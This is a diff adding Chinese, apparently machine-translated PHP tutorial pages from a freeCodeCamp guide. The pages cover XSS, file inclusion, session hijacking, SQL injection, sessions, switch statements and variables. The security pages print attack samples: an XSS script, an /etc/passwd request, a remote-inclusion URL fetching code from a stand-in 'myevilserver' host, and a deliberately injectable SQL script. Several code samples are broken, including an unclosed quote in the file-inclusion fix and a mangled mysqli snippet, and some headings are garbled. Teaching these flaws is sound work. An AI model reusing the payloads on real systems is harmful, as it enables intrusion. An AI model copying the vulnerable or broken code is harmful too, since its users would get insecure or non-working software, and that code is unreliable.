+++ b/client/src/guide/chinese/php/security/cross-site-scripting/index.md
@@ -0,0 +1,83 @@
+---
+title: Cross Site Scripting
+localeTitle: 跨站脚本
+---
+## 跨站脚本
+
+跨站点脚本是Web应用程序中的一种漏洞，由程序员在将输入输出到Web浏览器之前不清理输入（例如，博客上的注释）。它通常用于在Web浏览器中运行恶意javascript以执行攻击，例如在其他恶意操作中窃取会话cookie以获得Web应用程序中的更高级别权限。
+
+### 示例跨站点脚本攻击
+
+博客允许用户使用HTML标记设置其评论样式，但是为博客提供支持的脚本不会删除`<script>`标记，允许任何用户在页面上运行javascript。攻击者可以利用此优势在浏览器中运行恶意javascript。他们可以使用恶意软件感染用户，窃取会话cookie等。
+
+```HTML
+<script> 
+  alert('Cross Site Scripting!'); 
+ </script> 
+```
+
+### 在PHP中保护您的网站免受跨站点脚本攻击
+
+在PHP中，有两个主要功能， `htmlspecialchars()`和`strip_tags()` ，内置以保护自己免受跨站点脚本攻击。
+
+`htmlspecialchars($string)`函数将阻止HTML字符串呈现为HTML并将其作为纯文本显示到Web浏览器。 **htmlspecialchars（）代码示例**
+
+```PHP
+<?php 
+ $usercomment = "<string>alert('Cross Site Scripting!');</script>"; 
+ echo htmlspecialchars($usercomment); 
+```
+
+另一种方法是`strip_tags($string, $allowedtags)`函数，该函数删除除已列入白名单的HTML标记之外的所有HTML标记。重要的是要注意，使用`strip_tags()`函数你必须更加小心，这个函数不会阻止用户将javascript包含为链接，你必须自己清理它。
+
+**strip\_tags（）代码示例**
+
+```php
+<?php 
+ $usercomment = "<string>alert('Cross Site Scripting!');</script>"; 
+ $allowedtags = "<p><a><h1><h2><h3>"; 
+ echo strip_tags($usercomment, $allowedtags); 
+```
+
+**设置X-XSS保护标头：**
+
+在PHP中，您可以发送`X-XSS-Protection` Header，它将告诉浏览器检查反映的Cross Site Scripting攻击并阻止页面加载。这并不会阻止所有跨站点脚本攻击仅反映出来，并且应该与其他方法结合使用。
+
+```PHP
+<?php 
+ header("X-XSS-Protection: 1; mode=block"); 
+```
+
+**编写自己的清理功能** 如果您希望更好地控制清理工作方式，另一个选择是编写自己的HTML清理函数，不建议PHP初学者使用，因为错误会使您的网站容易受到攻击。
+
+### 使用内容安全策略保护您的网站免受跨站点脚本攻击
+
+防止跨站点脚本攻击的有效方法是使用内容安全策略，这可能需要对Web应用程序的设计和代码库进行大量调整。
+
+#### 将内容安全策略设置为HTTP标头
+
+设置内容安全策略的最常用方法是直接在HTTP标头中设置它。这可以通过Web服务器编辑它的配置或通过PHP发送来完成。
+
+**HTTP标头中设置的内容安全策略示例**
+
+```php
+<?php 
+ header("content-security-policy: default-src 'self'; img-src https://*; child-src 'none';"); 
+```
+
+#### 将内容安全策略设置为Meta标记
+
+您可以在页面的HTML中包含内容安全策略，并逐页设置。此方法要求您在每个页面上设置，否则您将失去该策略的好处。
+
+**HTML元标记中设置的内容安全策略示例**
+
+```HTML
+<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"> 
+```
+
+#### 更多信息：
+
+*   [OWASP Wiki - 跨站点脚本](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS))
+*   [php.net strip\_tags（）手册](https://secure.php.net/manual/en/function.strip-tags.php)
+*   [php.net htmlspecialchars（）手册](https://secure.php.net/manual/en/function.htmlspecialchars.php)
+*   [MDN - 内容安全策略（CSP）](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/security/index.md b/client/src/guide/chinese/php/security/index.md
new file mode 100644
index 0000000000..0dff3a2d5d
--- /dev/null
+++ b/client/src/guide/chinese/php/security/index.md
@@ -0,0 +1,21 @@
+---
+title: Security
+localeTitle: 安全
+---
+## 安全
+
+编写PHP代码时，记住安全概念以避免编写易受攻击的代码非常重要。
+
+### 漏洞的类型
+
+*   [跨站点请求伪造](/php/security/cross-site-request-forgery)由程序员未检查发送请求的位置导致应用程序中的漏洞 - 此攻击被发送给高权限级别用户以获得对应用程序的更高级别访问权限。
+*   [跨站点脚本](/php/security/cross-site-scripting)在程序员输出到浏览器的输入之前没有清理输入（例如博客上的评论）导致应用程序中的漏洞。它通常用于在浏览器中运行恶意javascript以执行攻击，例如在其他恶意操作中窃取会话cookie以获得应用程序中的更高级别权限。
+*   [本地文件包含](/php/security/local-file-inclusion)应用程序中的一个漏洞，由程序员需要用户提供的文件输入，而不是在访问所请求的文件之前清理输入。这导致文件被包含在不应该包含的位置。
+*   [远程文件包含](/php/security/remote-file-inclusion)程序员中由程序员提供的漏洞，需要用户提供的文件输入，而不是在访问所请求的文件之前清理输入。这会导致从远程服务器中提取文件，并将其包含在不应该存在的位置。
+*   [会话劫持](/php/security/session-hijacking)由攻击者获取对用户会话标识符的访问权并且能够使用其他用户帐户模拟它们所导致的漏洞。这通常用于访问管理用户的帐户。
+*   [会话标识符获取](/php/security/session-identifier-acquirement)会话标识符获取是由攻击者能够猜测用户的会话标识符或利用应用程序本身或用户的浏览器中的漏洞来获取会话标识符而导致的漏洞。
+*   [SQL注入](/php/security/sql-injection)应用程序中的一个漏洞，程序员在将输入包含到数据库查询中之前不会对其进行清理。这导致攻击者具有完全读取并且通常不会对数据库进行写访问。通过这种类型的访问，攻击者可以做很糟糕的事情。
+
+#### 更多信息：
+
+[OWASP Wiki的攻击页面](https://www.owasp.org/index.php/Category:Attack)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/security/local-file-inclusion/index.md b/client/src/guide/chinese/php/security/local-file-inclusion/index.md
new file mode 100644
index 0000000000..47ab8a24a6
--- /dev/null
+++ b/client/src/guide/chinese/php/security/local-file-inclusion/index.md
@@ -0,0 +1,24 @@
+---
+title: Local File Inclusion
+localeTitle: 本地文件包含
+---
+## 本地文件包含
+
+程序员需要用户提供的文件输入而不是在访问所请求的文件之前清理输入而导致的应用程序漏洞。这导致文件被包含在不应该包含的位置。
+
+### 示例本地文件包含攻击
+
+一个网站允许您将PDF视为`download.php?file=myfile.php` ，因为缺乏正确的检查，恶意用户可以请求/ etc / passwd并从Web服务器获取敏感的配置信息。
+
+### 在PHP中保护您的网站免受本地文件包含攻击
+
+```PHP
+<?php 
+ if(basename($_GET['file]) !== $_GET['file']) { 
+  die('INVALID FILE REQUESTED'); 
+ } 
+```
+
+#### 更多信息：
+
+*   [OWASP Wiki - 测试本地文件包含](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/security/remote-file-inclusion/index.md b/client/src/guide/chinese/php/security/remote-file-inclusion/index.md
new file mode 100644
index 0000000000..d2cbc45cfc
--- /dev/null
+++ b/client/src/guide/chinese/php/security/remote-file-inclusion/index.md
@@ -0,0 +1,28 @@
+---
+title: Remote File Inclusion
+localeTitle: 远程文件包含
+---
+## 远程文件包含
+
+程序员需要用户提供的文件输入而不是在访问所请求的文件之前清理输入而导致的应用程序漏洞。这会导致从远程服务器中提取文件，并将其包含在不应该存在的位置。
+
+### 示例远程文件包含攻击
+
+网站允许您将PDF视为`download.php?file=myfile.php` ，因为缺乏正确的检查，恶意用户可以请求远程资源并包含在脚本中。 URL可以成为`download.php?file=http://myevilserver.gtld/evilcode.php`然后可以输出给用户，或者在严重的情况下运行服务器上的实际PHP代码。
+
+### 在PHP中保护您的网站免受远程文件包含攻击
+
+以下PHP代码将提供针对远程文件包含攻击的强大保护
+
+```PHP
+<?php 
+ if(basename($_GET['file]) !== $_GET['file']) { 
+  die('INVALID FILE REQUESTED'); 
+ } 
+```
+
+*   您可以在php.ini文件中禁用`allow_url_fopen`作为防止远程文件包含的附加保护。
+
+#### 更多信息：
+
+*   [OWASP Wiki - 测试远程文件包含](https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/security/session-hijacking/index.md b/client/src/guide/chinese/php/security/session-hijacking/index.md
new file mode 100644
index 0000000000..b37a96892e
--- /dev/null
+++ b/client/src/guide/chinese/php/security/session-hijacking/index.md
@@ -0,0 +1,45 @@
+---
+title: Session Hijacking
+localeTitle: 会话劫持
+---
+## 会话劫持
+
+会话劫持是由攻击者获取对用户会话标识符的访问权并且能够使用模仿他们的其他用户帐户所导致的漏洞。这通常用于访问管理用户的帐户。
+
+### 防御PHP中的会话劫持攻击
+
+要防止会话劫持攻击，您需要根据存储的有关会话的信息检查当前用户的浏览器和位置信息。下面是一个示例实现，可以帮助减轻会话劫持攻击的影响。它检查IP地址，用户代理，以及会话是否已过期在恢复会话之前删除会话。
+
+```PHP
+<?php 
+ session_start(); 
+ 
+ // Does IP Address match? 
+ if ($_SERVER['REMOTE_ADDR'] != $_SESSION['ipaddress']) 
+ { 
+ session_unset(); 
+ session_destroy(); 
+ } 
+ 
+ // Does user agent match? 
+ if ($_SERVER['HTTP_USER_AGENT'] != $_SESSION['useragent']) 
+ { 
+  session_unset(); 
+  session_destroy(); 
+ } 
+ 
+ // Is the last access over an hour ago? 
+ if (time() > ($_SESSION['lastaccess'] + 3600)) 
+ { 
+  session_unset(); 
+  session_destroy(); 
+ } 
+ else 
+ { 
+  $_SESSION['lastaccess'] = time(); 
+ } 
+```
+
+#### 更多信息：
+
+*   [php.net会话安全手册](https://secure.php.net/manual/en/session.security.php)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/security/session-identifier-acquirement/index.md b/client/src/guide/chinese/php/security/session-identifier-acquirement/index.md
new file mode 100644
index 0000000000..7aa6c3c1ef
--- /dev/null
+++ b/client/src/guide/chinese/php/security/session-identifier-acquirement/index.md
@@ -0,0 +1,60 @@
+---
+title: Session Identifier Acquirement
+localeTitle: 会话标识符获取
+---
+## 会话标识符获取
+
+会话标识符获取是由攻击者能够猜测用户的会话标识符或利用应用程序本身或用户的浏览器中的漏洞来获取会话标识符而导致的漏洞。此攻击是执行会话劫持攻击的先决条件。
+
+### 例
+
+攻击者有几个选项来执行会话标识符获取攻击。
+
+*   猜测标识符：一个简短且可猜测的会话标识符可能允许攻击者暴力破解会话的ID并进入。
+*   攻击浏览器：如果您将会话标识符存储在浏览器的cookie中 - 如果您的网站容易受到跨站点脚本攻击，则攻击者可以利用此漏洞收集会话标识符cookie并访问高权限级别区域（例如管理面板） 。
+*   将ID更改为攻击者的选择：在旧版本的PHP中，您可以在URL中设置会话的ID。现在默认禁用它，如果有疑问，请确保`session.use_trans_sid`为false。这不再是一个常见的问题，但它仍然可以发生，比抱歉更安全。
+
+### 在PHP中防御会话标识符获取攻击
+
+要防止会话标识符获取攻击，您需要根据多个因素检查尝试的会话访问，以确认它是否是合法访问并避免用户成功劫持用户的会话。以下是可以帮助减轻会话标识符获取攻击的影响的示例实现。它会检查IP地址，用户代理以及会话过期是否在获取会话之前删除会话。
+
+```PHP
+<?php 
+ session_start(); 
+ 
+ // Does IP Address match? 
+ if ($_SERVER['REMOTE_ADDR'] != $_SESSION['ipaddress']) 
+ { 
+ session_unset(); 
+ session_destroy(); 
+ } 
+ 
+ // Does user agent match? 
+ if ($_SERVER['HTTP_USER_AGENT'] != $_SESSION['useragent']) 
+ { 
+  session_unset(); 
+  session_destroy(); 
+ } 
+ 
+ // Is the last access over an hour ago? 
+ if (time() > ($_SESSION['lastaccess'] + 3600)) 
+ { 
+  session_unset(); 
+  session_destroy(); 
+ } 
+ else 
+ { 
+  $_SESSION['lastaccess'] = time(); 
+ } 
+```
+
+**提示：**
+
+*   存储大量有关当前会话的信息（用户代理字符串，IP地址，上次访问时间等）
+*   根据存储的有关会话的信息检查每个请求（是否匹配？如果不删除会话并要求用户再次登录）
+*   会话不应该永远持续 - 它们应该在某个时间点到期以保持会话安全性。
+*   速率限制用户可以尝试访问的会话数量（用户是否尝试访问1000多个无效会话？他们有机会猜测 - 阻止IP地址在几个小时内尝试更多会话）。
+
+#### 更多信息：
+
+*   [php.net会话安全手册](https://secure.php.net/manual/en/session.security.php)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/security/sql-injection/index.md b/client/src/guide/chinese/php/security/sql-injection/index.md
new file mode 100644
index 0000000000..fad5820d65
--- /dev/null
+++ b/client/src/guide/chinese/php/security/sql-injection/index.md
@@ -0,0 +1,76 @@
+---
+title: SQL Injection
+localeTitle: SQL注入
+---
+## SQL注入
+
+应用程序中的一个漏洞，程序员在将输入包含到数据库的查询中之前不会对其进行清理。这导致攻击者具有完全读取并且通常不会对数据库进行写访问。通过这种类型的访问，攻击者可以做很糟糕的事情。
+
+### 示例SQL注入攻击
+
+下面的PHP脚本运行SQL语句以按ID获取用户的电子邮件。但是输入没有被清理，因此容易受到SQL注入攻击
+
+```PHP
+<?php 
+ $input = $_GET['id']; 
+ $dbserver = "localhost"; 
+ $dbuser = "camper"; 
+ $dbpass = "supersecretcampsitepassword"; 
+ $dbname = "freecodecamp"; 
+ 
+ $conn = new mysqli($dbserver, $dbuser, $dbpass, $dbname); 
+ 
+ if ($conn->connect_error) { 
+    die("Connection failed: " . $conn->connect_error); 
+ } 
+ 
+ $sql = "SELECT email FROM users WHERE id =" . $input; 
+ 
+ $result = $conn->query($sql); 
+ 
+ if ($result->num_rows > 0) { 
+    while($row = $result->fetch_assoc()) { 
+        echo $row["email"]; 
+    } 
+ } else { 
+    echo "no results"; 
+ } 
+ 
+ $conn->close(); 
+```
+
+```SQL
+SELECT email FROM users WHERE id = `$input`; 
+```
+
+因此，使用上面的输入不是类型转换（即使用（int）转换输入，因此只允许一个数字）也不转义允许某人执行SQL注入攻击 - 例如URL `getemailbyuserid.php?id=1'; My Query Here-- -`允许您`getemailbyuserid.php?id=1'; My Query Here-- -`运行任意SQL查询。
+
+### 在PHP中保护您的网站免受SQL注入攻击
+
+有一些方法可以保护您的网站免受SQL注入攻击。这些方法是白名单，类型转换和字符转义
+
+**白名单：** 白名单方法用于预期只有少量输入的情况。您可以在PHP Switch中列出每个预期输入，然后为无效输入设置默认值。您不必担心类型转换问题或字符转义旁路，但允许的输入极度有限。它仍然是一个选项，请参见下面的示例。
+
+```PHP
+<?php 
+ switch ($input) { 
+  case "1": 
+    //db query 1 
+    break; 
+  case "2": 
+    //db query 2 
+    break; 
+  default: 
+    // invalid input return error 
+ } 
+```
+
+**类型铸造：** 类型转换方法通常用于使用数字输入的应用程序。只需使用`(int) $input` ，只允许使用数值。
+
+**角色逃脱：** 字符转义方法将转义用户提供的引号和斜杠等字符以防止攻击。如果您使用MySQL Server和MySQLi库来访问您的数据库， `mysqli_real_escape_string($conn, $string)`函数将采用两个参数，MySQLi连接和字符串，并将正确地转义用户的输入以阻止SQL注入攻击。您使用的确切功能取决于您使用的数据库类型和php库检查php库的文档，以获取有关转义用户输入的更多信息。
+
+#### 更多信息：
+
+*   [OWASP Wiki - SQL注入](https://www.owasp.org/index.php/SQL_Injection)
+*   [php.net SQL注入手册](https://secure.php.net/manual/en/security.database.sql-injection.php)
+*   [php.net MySQLi Real Escape字符串手册](https://secure.php.net/manual/en/mysqli.real-escape-string.php)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/sessions/index.md b/client/src/guide/chinese/php/sessions/index.md
new file mode 100644
index 0000000000..9439378193
--- /dev/null
+++ b/client/src/guide/chinese/php/sessions/index.md
@@ -0,0 +1,60 @@
+---
+title: Sessions
+localeTitle: 会议
+---
+## 会议
+
+会话是PHP中的一项功能，允许您存储有关用户的数据服务器端。设置会话时，会设置一个浏览器cookie，用于向PHP标识用户，以便PHP知道要访问哪些服务器端变量。
+
+### 开始一个会话
+
+在您要访问会话的每个页面上，您需要启动（或加载）会话。为此，请运行加载PHP会话系统的`session_start()`函数。
+
+```PHP
+<?php 
+ session_start(); 
+```
+
+请注意，在使用基于cookie的会话时，必须先调用session\_start（），然后才能向浏览器输出任何内容。其他任何事都会导致错误。
+
+### 在会话中访问和设置数据
+
+`$_SESSION['key']`变量是一种特殊类型的数组（使用浏览器cookie来确定要访问的会话）。
+
+在下面的示例中，您会看到用户选择的主题设置为主题编号1。
+
+```PHP
+<?php 
+ session_start(); 
+ $_SESSION['themechoice'] = 1; 
+```
+
+访问会话变量类似于设置一个。只需将变量包含在需要访问的位置即可。例如，如下面的代码示例所示回显它。
+
+```PHP
+<?php 
+ session_start(); 
+ echo $_SESSION['themechoice']; 
+```
+
+### 删除会话
+
+要从系统中删除会话，请运行以下PHP代码。它将取消设置会话变量并将其从系统中删除。
+
+```PHP
+<?php 
+ session_unset(); 
+ session_destroy(); 
+```
+
+### 会议是暂时的
+
+重要的是不要将会话视为永久存储。每当应用程序移动到新的主机服务器时，应用程序本身（例如注销按钮），甚至在服务器维护期间，开发人员都会不时清除它们。对于数据的长期存储，请确保使用数据库。
+
+### 安全
+
+最后但同样重要的是，安全地使用php会话非常重要。阅读我们关于[会话标识符获取](/php/security/session-identifier-acquirement)和[会话劫持的](/php/security/session-hijacking)文章以获取更多信息。
+
+#### 更多信息：
+
+*   [php.net会话手册](https://secure.php.net/manual/en/book.session.php)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/strings/index.md b/client/src/guide/chinese/php/strings/index.md
new file mode 100644
index 0000000000..39f37bbc88
--- /dev/null
+++ b/client/src/guide/chinese/php/strings/index.md
@@ -0,0 +1,11 @@
+---
+title: Strings
+localeTitle: 字符串
+---
+## 字符串
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/php/strings/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/super-globals/index.md b/client/src/guide/chinese/php/super-globals/index.md
new file mode 100644
index 0000000000..cfbc973272
--- /dev/null
+++ b/client/src/guide/chinese/php/super-globals/index.md
@@ -0,0 +1,11 @@
+---
+title: Super Globals
+localeTitle: 超级全球
+---
+## 超级全球
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/php/super-globals/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/switch-statement/index.md b/client/src/guide/chinese/php/switch-statement/index.md
new file mode 100644
index 0000000000..3f1ef0a1aa
--- /dev/null
+++ b/client/src/guide/chinese/php/switch-statement/index.md
@@ -0,0 +1,92 @@
+---
+title: Switch statement
+localeTitle: 切换声明
+---
+# 开关
+
+`Switch`是一个选择语句，它将选择一个switch语句并从候选列表中执行它。 Switch由`case`和可选的`default` 。可以使用`break`或`return`来停止执行。
+
+## 句法
+```
+switch(x) 
+ { 
+    case value1: 
+      //execute if x = value1 
+      break; 
+    case value2: 
+      //execute if x = value2 
+      break; 
+ 
+    ... 
+ 
+    default: 
+      execute if x is different with cases above 
+ } 
+```
+
+## 例
+
+```php
+<?php 
+ //initialize with a random integer within range 
+ $diceNumber = mt_rand(1, 6); 
+ 
+ //initialize 
+ $numText = ""; 
+ 
+ //calling switch statement 
+  switch($diceNumber) 
+  { 
+  case 1: 
+    $numText = "One"; 
+    break; 
+  case 2: 
+    $numText = "Two"; 
+    break; 
+  case 3: 
+  case 4: 
+    // case 3 and 4 will go to this line 
+    $numText = "Three or Four"; 
+    break; 
+  case 5: 
+    $numText = "Five"; 
+    echo $numText; 
+    // break; //without specify break or return it will continue execute to next case. 
+  case 6: 
+    $numText = "Six"; 
+    echo $numText; 
+    break; 
+  default: 
+    $numText = "unknown"; 
+  } 
+ 
+  //display result 
+  echo 'Dice show number '.$numText.'.'; 
+ 
+ ?> 
+```
+
+## 产量
+```
+if case is 1 
+ > Dice show number One. 
+ 
+ if case is 2 
+ > Dice show number Two. 
+ 
+ if case is 3 
+ > Dice show number Three or Four. 
+ 
+ if case is 4 
+ > Dice show number Three or Four. 
+ 
+ if case is 5 
+ > FiveSixDice show number Six. 
+ 
+ if case is 6 
+ > SixDice show number Six. 
+ 
+ if none of the above 
+ > Dice show number unknown. 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/switch-statements/index.md b/client/src/guide/chinese/php/switch-statements/index.md
new file mode 100644
index 0000000000..6e424a150b
--- /dev/null
+++ b/client/src/guide/chinese/php/switch-statements/index.md
@@ -0,0 +1,30 @@
+---
+title: Switch Statements
+localeTitle: 切换语句
+---
+## 切换语句
+
+Switch语句根据条件的值执行代码块。
+
+### 句法：
+
+```PHP
+switch(x) { 
+  case 1: 
+    statement1; 
+    break; 
+   case 2: 
+     statement2; 
+     break; 
+   default: 
+     defaultstatement; 
+ } 
+```
+
+在上面的例子中，x是条件。将执行匹配案例之后的陈述。如果没有匹配项，则将运行默认语句。
+
+`break`关键字用于结束每个案例。
+
+### 更多信息：
+
+[PHP开关](http://php.net/manual/en/control-structures.switch.php)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/switch/index.md b/client/src/guide/chinese/php/switch/index.md
new file mode 100644
index 0000000000..d004403e97
--- /dev/null
+++ b/client/src/guide/chinese/php/switch/index.md
@@ -0,0 +1,35 @@
+---
+title: Switch
+localeTitle: 开关
+---
+## 开关
+
+在PHP中， `Switch`语句与Javascript `Switch`语句非常相似（请参阅[Javascript Switch指南](/javascript/switch-statements)进行比较和对比）。它允许在很多不同的条件下进行快速案例测试，代码也更具可读性。
+
+### 句法
+
+```php
+<?php 
+    // Switch Statement Example 
+    switch ($i) { 
+        case "free": 
+            echo "i is free"; 
+            break; 
+        case "code": 
+            echo "i is code"; 
+            break; 
+        case "camp": 
+            echo "i is camp"; 
+            break; 
+        default: 
+            echo "i is freecodecamp"; 
+    } 
+```
+
+### 打破
+
+`break;`语句退出交换机并继续运行应用程序代码的其余部分。如果你不使用`break;`声明你最终可能会运行多个案例和陈述，有时可能需要这种情况，在这种情况下你不应该包括`break;`声明。
+
+#### 更多信息：
+
+*   [php.net docs Switch](https://secure.php.net/manual/en/control-structures.switch.php)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/syntax/index.md b/client/src/guide/chinese/php/syntax/index.md
new file mode 100644
index 0000000000..13295f6e8c
--- /dev/null
+++ b/client/src/guide/chinese/php/syntax/index.md
@@ -0,0 +1,26 @@
+---
+title: Syntax
+localeTitle: 句法
+---
+## 句法
+
+PHP是一种允许您在其他静态网页中包含动态内容的语言。它是用html内联编写的，只需将.html文件重命名为.php（web-server必须安装php）才能开始使用。
+
+```PHP
+<!DOCTYPE html> 
+ <html> 
+ <head> 
+ <title>PHP Example</title> 
+ </head> 
+ <body> 
+ <h1>PHP Example</h1> 
+ <?php 
+  echo "Hello World from PHP!"; 
+ ?> 
+ </body> 
+ </html> 
+```
+
+#### 更多信息：
+
+*   [php.net - PHP文档](https://secure.php.net/docs.php)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/variable-basics/index.md b/client/src/guide/chinese/php/variable-basics/index.md
new file mode 100644
index 0000000000..c1ba531b95
--- /dev/null
+++ b/client/src/guide/chinese/php/variable-basics/index.md
@@ -0,0 +1,23 @@
+---
+title: PHP Variable Basics
+localeTitle: PHP变量基础知识
+---
+变量允许程序员通过PHP脚本使用数据。
+
+在PHP中，变量始终以`$`符号开头，后跟变量名称。只有字母，数字（可能不是第一个字符）和下划线才能构成变量的名称。
+
+例如， `$my_variable` ， `$anotherVariable`和`$the2ndVariable`都允许有效的变量名。
+
+变量名称区分大小写。 `$my_variable`与`$My_Variable`不同，后者与`$mY_vARiAblE`不同。
+
+在可以使用变量之前，必须为其分配值。
+
+```PHP
+    <?php 
+    $my_number = 1; 
+    echo($my_number); 
+ 
+    >>> 1 
+```
+
+在上面的示例中，变量是`$my_number` 。分配给它的值是数字`1` 。然后将变量作为参数传递给`echo`函数，该函数将值输出到命令行。
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/variables/data-types/index.md b/client/src/guide/chinese/php/variables/data-types/index.md
new file mode 100644
index 0000000000..273a75a5b9
--- /dev/null
+++ b/client/src/guide/chinese/php/variables/data-types/index.md
@@ -0,0 +1,114 @@
+---
+title: PHP Data Types
+localeTitle: PHP数据类型
+---
+# 数据类型
+
+变量可以存储不同类型的数据，例如：
+
+*   字符串（“你好”）
+*   整数（5）
+*   浮动（也称为双）（1.0）
+*   布尔值（1或0）
+*   数组（数组（“我”，“是”，“一个”，“数组”））
+*   目的
+*   空值
+*   资源
+
+## 串
+
+字符串是一系列字符。它可以是引号内的任何文本（单引号或双引号）：
+
+#### 例
+
+```php
+$x = "Hello!"; 
+ $y = 'Hello!'; 
+```
+
+## 整数
+
+整数数据类型是-2,147,483,648和2,147,483,647之间的非十进制数。
+
+整数规则：
+
+*   整数必须至少有一位数
+*   整数不能有小数点
+*   整数可以是正数也可以是负数
+*   整数可以用三种格式指定：十进制（基于10），十六进制（基于16的 - 带前缀的0x）或八进制（基于8的 - 带前缀0）
+
+#### 例
+
+```php
+$x = 5; 
+```
+
+## 浮动
+
+浮点数（浮点数）是带小数点的数字或指数形式的数字。
+
+#### 例
+
+```php
+$x = 5.01; 
+```
+
+## 布尔
+
+布尔表示两种可能的状态：TRUE或FALSE。布尔值通常用于条件测试。
+
+```php
+$x = true; 
+ $y = false; 
+```
+
+## 排列
+
+数组在一个变量中存储多个值。
+
+```php
+$colours = array("Blue","Purple","Pink"); 
+```
+
+## 空值
+
+Null是一种特殊数据类型，只能有一个值：NULL。  
+数据类型为NULL的变量是没有赋值的变量。  
+也可以通过将值设置为NULL来清空变量。
+
+**注意：**如果创建的变量没有值，则会自动为其指定值NULL。
+
+```php
+<?php 
+ $x = "Hello world!"; 
+ $x = null; 
+ ?> 
+```
+
+输出：  
+空值
+
+## 目的
+
+对象是一种数据类型，用于存储有关如何处理该数据的数据和信息。  
+在PHP中，必须显式声明一个对象。  
+首先，我们必须声明一类对象。类是可以包含属性和方法的结构。
+
+**例：**
+
+```php
+<?php 
+ class Car { 
+    function Car() { 
+        $this->model = "VW"; 
+    } 
+ } 
+ 
+ // create an object 
+ $herbie = new Car(); 
+ 
+ // show object properties 
+ echo $herbie->model; 
+ ?> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/variables/index.md b/client/src/guide/chinese/php/variables/index.md
new file mode 100644
index 0000000000..1a75446e2d
--- /dev/null
+++ b/client/src/guide/chinese/php/variables/index.md
@@ -0,0 +1,71 @@
+---
+title: Variables
+localeTitle: 变量
+---
+## 变量
+
+# 创建（声明）PHP变量
+
+变量是用于存储信息的“容器”。
+
+**句法：**
+
+```php
+<?php 
+ $txt = "Hello world!"; 
+ $x = 5; 
+ $y = 10.5; 
+ ?> 
+```
+
+在执行上述语句之后，变量$ txt将保持值Hello world！，变量$ x将保持值5，变量$ y将保持值10.5。
+
+##### 注意：为变量指定文本值时，请在值周围加上引号。
+
+##### 注意：与其他编程语言不同，PHP没有声明变量的命令。它是在您第一次为其赋值时创建的。
+
+# PHP变量的规则：
+
+*   变量以$符号开头，后跟变量名称
+*   变量名必须以字母或下划线字符开头
+*   变量名称不能以数字开头
+*   变量名只能包含字母数字字符和下划线（Az，0-9和\_）
+*   变量名称区分大小写（$ age和$ AGE是两个不同的变量）
+
+# 输出变量
+
+PHP echo语句通常用于将数据输出到屏幕。
+
+以下示例将说明如何输出文本和变量：
+
+```php
+<?php 
+ $txt = "github.com"; 
+ echo "I love $txt!"; 
+ ?> 
+```
+
+以下示例将生成与上面示例相同的输出：
+
+```php
+<?php 
+ $txt = "github.com"; 
+ echo "I love " . $txt . "!"; 
+ ?> 
+```
+
+以下示例将输出两个变量的总和：
+
+```php
+<?php 
+ $x = 5; 
+ $y = 4; 
+ echo $x + $y; 
+ ?> 
+```
+
+# PHP是一种松散类型的语言
+
+在上面的例子中，请注意我们不必告诉PHP该变量是哪种数据类型。 PHP会自动将变量转换为正确的数据类型，具体取决于其值。 在其他语言（如C，C ++和Java）中，程序员必须在使用之前声明变量的名称和类型。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/while/index.md b/client/src/guide/chinese/php/while/index.md
new file mode 100644
index 0000000000..25be76892b
--- /dev/null
+++ b/client/src/guide/chinese/php/while/index.md
@@ -0,0 +1,23 @@
+---
+title: While Loop
+localeTitle: 而Loop
+---
+## 循环时
+
+只要满足循环条件， `while`循环就会`while`循环内执行语句。
+
+### 句法：
+
+```php
+$x = 0; 
+ while ($x < 11) { 
+    statement1; 
+    $x++; 
+ } 
+```
+
+**注意：**块代码必须具有更改或增加条件的语句。否则可能导致无限循环。
+
+### 更多信息：
+
+[PHP While循环](http://php.net/manual/en/control-structures.while.php)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/working-with-databases/index.md b/client/src/guide/chinese/php/working-with-databases/index.md
new file mode 100644
index 0000000000..022543f529
--- /dev/null
+++ b/client/src/guide/chinese/php/working-with-databases/index.md
@@ -0,0 +1,13 @@
+---
+title: Working With Databases
+localeTitle: 使用数据库
+---
+## PHP可以使用哪些选项来连接数据库？
+
+PHP可以连接到各种不同的数据库，包括MongoDB，MsSQL和MySQL。 PHP和MySQL都很受欢迎，并提供简单，免费和开源的网站 要创建并经常一起创建所有类型的网站。 PHP和MySQL都可以扩展以支持大量用户。
+
+PHP甚至支持多种方式来处理与MySQL的连接，包括MySQLi Procedural， PHP数据对象（PDO）和MySQLi对象与现已弃用的MySQL Connect一起定位。 使用PHP，该语言的核心功能内置了许多功能，可以链接到 数据库简单易行。
+
+Mysqli的一些例子是 -
+
+connect（“localhost”，“root”，“”，“db name”）或die（“无效的用户或密码......无法连接”）; ？> 这里我们连接到phpmyadmin结构上的数据库，没有密码和数据库名称-db\_name
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/working-with-databases/mysqli/index.md b/client/src/guide/chinese/php/working-with-databases/mysqli/index.md
new file mode 100644
